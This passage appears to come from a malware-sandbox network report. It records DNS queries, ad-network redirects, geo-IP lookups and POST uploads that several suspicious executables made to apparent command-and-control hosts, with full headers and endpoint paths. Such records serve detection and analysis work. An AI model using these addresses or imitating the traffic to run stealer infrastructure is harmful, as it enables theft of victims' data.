                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:28:17 GMT
                                                                                                                                                                                                                                          content-type: text/html
                                                                                                                                                                                                                                          content-length: 0
                                                                                                                                                                                                                                          location: https://udifjksl.gotrafficwins.com/?cid=3922&clkid=2b56cf00459ad31a0eda661a0f6da22f&sid=14575867
                                                                                                                                                                                                                                          p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
                                                                                                                                                                                                                                          set-cookie: iprc9a28d55a74bddd009f3cef7624dee168=2923376; expires=Sat, 21 Aug 2021 11:28:17 GMT
                                                                                                                                                                                                                                          set-cookie: pdhtkv=true; expires=Sun, 22 Aug 2021 10:28:17 GMT
                                                                                                                                                                                                                                          set-cookie: uncs=1; expires=Sun, 22 Aug 2021 10:28:17 GMT
                                                                                                                                                                                                                                          set-cookie: pdhtkv28=true; expires=Sun, 22 Aug 2021 10:28:17 GMT
                                                                                                                                                                                                                                          set-cookie: uncs28=1; expires=Sun, 22 Aug 2021 10:28:17 GMT
                                                                                                                                                                                                                                          expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          cache-control: no-cache
                                                                                                                                                                                                                                          x-request-id: d2c4dfa85111828f7f6c9634d0ee4038
                                                                                                                                                                                                                                          strict-transport-security: max-age=0; includeSubdomains
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          mybrowserinfo.com
                                                                                                                                                                                                                                          Setup.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          mybrowserinfo.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          mybrowserinfo.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.7.179
                                                                                                                                                                                                                                          mybrowserinfo.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.137.37
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          nLzXGkEyBusWmHhEh3MQ9MC_.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.124.36.242:25802
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 188.124.36.242:25802
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:35 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          nLzXGkEyBusWmHhEh3MQ9MC_.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.124.36.242:25802
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 188.124.36.242:25802
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4744
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:29:52 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          6200429.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.124.36.242:25802
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 188.124.36.242:25802
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:35 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          6200429.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.124.36.242:25802
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 188.124.36.242:25802
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4744
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:29:52 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          owjN8oM_IR5b6pDPbdHuHoD6.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.12.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:15 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=msNWIiavSnKyMatWlwue%2B0TXBIuiqPwTEza7ikkxsTVmPsSzsMC%2FqDGqHTa%2Fgm3J0ZhrWmHzO2Ciy%2FFJDR46AJdYRJuWOmr4PPSkkx12T5k94KFsAMIhphRkcg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232c6d78831ed6-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          venetrigni.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          venetrigni.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          venetrigni.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          3.209.145.5
                                                                                                                                                                                                                                          venetrigni.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          52.45.132.150
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://venetrigni.com/stats
                                                                                                                                                                                                                                          MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          3.209.145.5:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /stats HTTP/2.0
                                                                                                                                                                                                                                          host: venetrigni.com
                                                                                                                                                                                                                                          accept: */*
                                                                                                                                                                                                                                          origin: https://www.profitabletrustednetwork.com
                                                                                                                                                                                                                                          referer: https://www.profitabletrustednetwork.com/e2q8zu9hu?key=0f22c1fd609f13cb7947c8cabfe1a90d&submetric=14575867
                                                                                                                                                                                                                                          accept-language: en-US
                                                                                                                                                                                                                                          user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
                                                                                                                                                                                                                                          accept-encoding: gzip, deflate, br
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/2.0 200
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:28:18 GMT
                                                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          content-length: 40
                                                                                                                                                                                                                                          server: fasthttp
                                                                                                                                                                                                                                          access-control-allow-origin: https://www.profitabletrustednetwork.com
                                                                                                                                                                                                                                          access-control-allow-credentials: true
                                                                                                                                                                                                                                          set-cookie: uid_id2=3da67d1f-2bac-439d-b357-939c0432b3c1:3:1; expires=Tue, 19 Aug 2031 10:28:18 GMT; secure; SameSite=None
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://www.profitabletrustednetwork.com/favicon.ico
                                                                                                                                                                                                                                          MicrosoftEdge.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          192.243.59.12:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /favicon.ico HTTP/2.0
                                                                                                                                                                                                                                          host: www.profitabletrustednetwork.com
                                                                                                                                                                                                                                          accept: */*
                                                                                                                                                                                                                                          accept-encoding: gzip, deflate, br
                                                                                                                                                                                                                                          user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
                                                                                                                                                                                                                                          dnt: 1
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/2.0 200
                                                                                                                                                                                                                                          server: nginx/1.17.6
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:28:18 GMT
                                                                                                                                                                                                                                          content-type: image/x-icon
                                                                                                                                                                                                                                          content-length: 0
                                                                                                                                                                                                                                          expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          cache-control: no-cache
                                                                                                                                                                                                                                          x-request-id: b3e9d8d2871e198ec1d339be8b6ee9cc
                                                                                                                                                                                                                                          strict-transport-security: max-age=0; includeSubdomains
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          udifjksl.gotrafficwins.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          udifjksl.gotrafficwins.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          udifjksl.gotrafficwins.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.77.238
                                                                                                                                                                                                                                          udifjksl.gotrafficwins.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.213.4
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://udifjksl.gotrafficwins.com/?cid=3922&clkid=2b56cf00459ad31a0eda661a0f6da22f&sid=14575867
                                                                                                                                                                                                                                          MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.77.238:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?cid=3922&clkid=2b56cf00459ad31a0eda661a0f6da22f&sid=14575867 HTTP/2.0
                                                                                                                                                                                                                                          host: udifjksl.gotrafficwins.com
                                                                                                                                                                                                                                          accept: text/html, application/xhtml+xml, image/jxr, */*
                                                                                                                                                                                                                                          referer: https://www.profitabletrustednetwork.com/e2q8zu9hu?key=0f22c1fd609f13cb7947c8cabfe1a90d&submetric=14575867
                                                                                                                                                                                                                                          accept-language: en-US
                                                                                                                                                                                                                                          user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
                                                                                                                                                                                                                                          accept-encoding: gzip, deflate, br
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/2.0 302
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:28:18 GMT
                                                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                                                          location: https://beastbuying.com/nJclubFtjhgDzZUwFdlDcEGENzOtxLlOfIee8Pgs_mc/?clck=801e96c0-026a-11ec-8e37-89639de2a1f6&sid=14575867
                                                                                                                                                                                                                                          vary: Accept
                                                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                          expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O%2BiPNV7RrVzQdHFkNBRXqn2Y8gcSFOG3ohB%2FAsgBaz5U0q3uWEFtbEqfL1F%2FLqCj0SnOfjx7bR7LOSN4vYB6vguAOMgLo9zyLRkqMkGjnGAeEA11Z99FUx5KOVJjVqT3x1fM7wL4fAwZolHLPw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          server: cloudflare
                                                                                                                                                                                                                                          cf-ray: 68232c7bbe204c55-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          beastbuying.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          beastbuying.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          beastbuying.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          54.174.174.39
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://beastbuying.com/nJclubFtjhgDzZUwFdlDcEGENzOtxLlOfIee8Pgs_mc/?clck=801e96c0-026a-11ec-8e37-89639de2a1f6&sid=14575867
                                                                                                                                                                                                                                          MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          54.174.174.39:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /nJclubFtjhgDzZUwFdlDcEGENzOtxLlOfIee8Pgs_mc/?clck=801e96c0-026a-11ec-8e37-89639de2a1f6&sid=14575867 HTTP/1.1
                                                                                                                                                                                                                                          Accept: text/html, application/xhtml+xml, image/jxr, */*
                                                                                                                                                                                                                                          Referer: https://www.profitabletrustednetwork.com/e2q8zu9hu?key=0f22c1fd609f13cb7947c8cabfe1a90d&submetric=14575867
                                                                                                                                                                                                                                          Accept-Language: en-US
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                                                                          Host: beastbuying.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:18 GMT
                                                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Set-Cookie: session=g-o0uSAFAeX7D49LGRRBNhCvvxh-Z2AT
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          https://money4systems4.xyz/
                                                                                                                                                                                                                                          7706313.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.123:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: multipart/form-data; boundary=------------------------8d9649fab9970c1
                                                                                                                                                                                                                                          Host: money4systems4.xyz
                                                                                                                                                                                                                                          Content-Length: 333954
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:28 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BkYXDn3x7WIjccjN7oahcXdAsSwAe05p%2FFWP6oUWqVwRFvR%2Fl1mPPIGHoQ0WX91F5aJLQ%2Fi07wX9c3%2FQLquZJrCG1u2rqOCsGee2XUsuO%2F%2BxTHdWFjgwdOtQCSAeAvmaT1gs7J0%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232cbe0dfb1e89-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          D1EfYRA9RC4OkRzdWYnFh5GO.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.12.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:35 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PuxWer%2B3acDOKd6kqAR%2B4LJt0gJNSOEicA1AsmEdKoAUE%2F5HorGJdCM08f4exFv6fm%2BOBpY8g9f%2F8DUEacVHFV6r2j14KtyIHeMj1%2Bn4yII0XUNBQq40Dbej%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232ce6dbc14c26-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          trustmanager.ug
                                                                                                                                                                                                                                          rnyuf.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          trustmanager.ug
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://185.215.113.206/k8FppT/index.php?scr=1
                                                                                                                                                                                                                                          rnyuf.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          185.215.113.206:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /k8FppT/index.php?scr=1 HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: multipart/form-data; boundary=----b54ebbed071f0e9265e88eb8ed58e10e
                                                                                                                                                                                                                                          Host: 185.215.113.206
                                                                                                                                                                                                                                          Content-Length: 103180
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 500 Internal Server Error
                                                                                                                                                                                                                                          Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:41 GMT
                                                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.220.187:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Host: requestimmersive.com
                                                                                                                                                                                                                                          Content-Length: 264
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.21.1
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          X-RateLimit-Limit: 60
                                                                                                                                                                                                                                          X-RateLimit-Remaining: 59
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:43 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.220.187:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Host: requestimmersive.com
                                                                                                                                                                                                                                          Content-Length: 264
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.21.1
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          X-RateLimit-Limit: 60
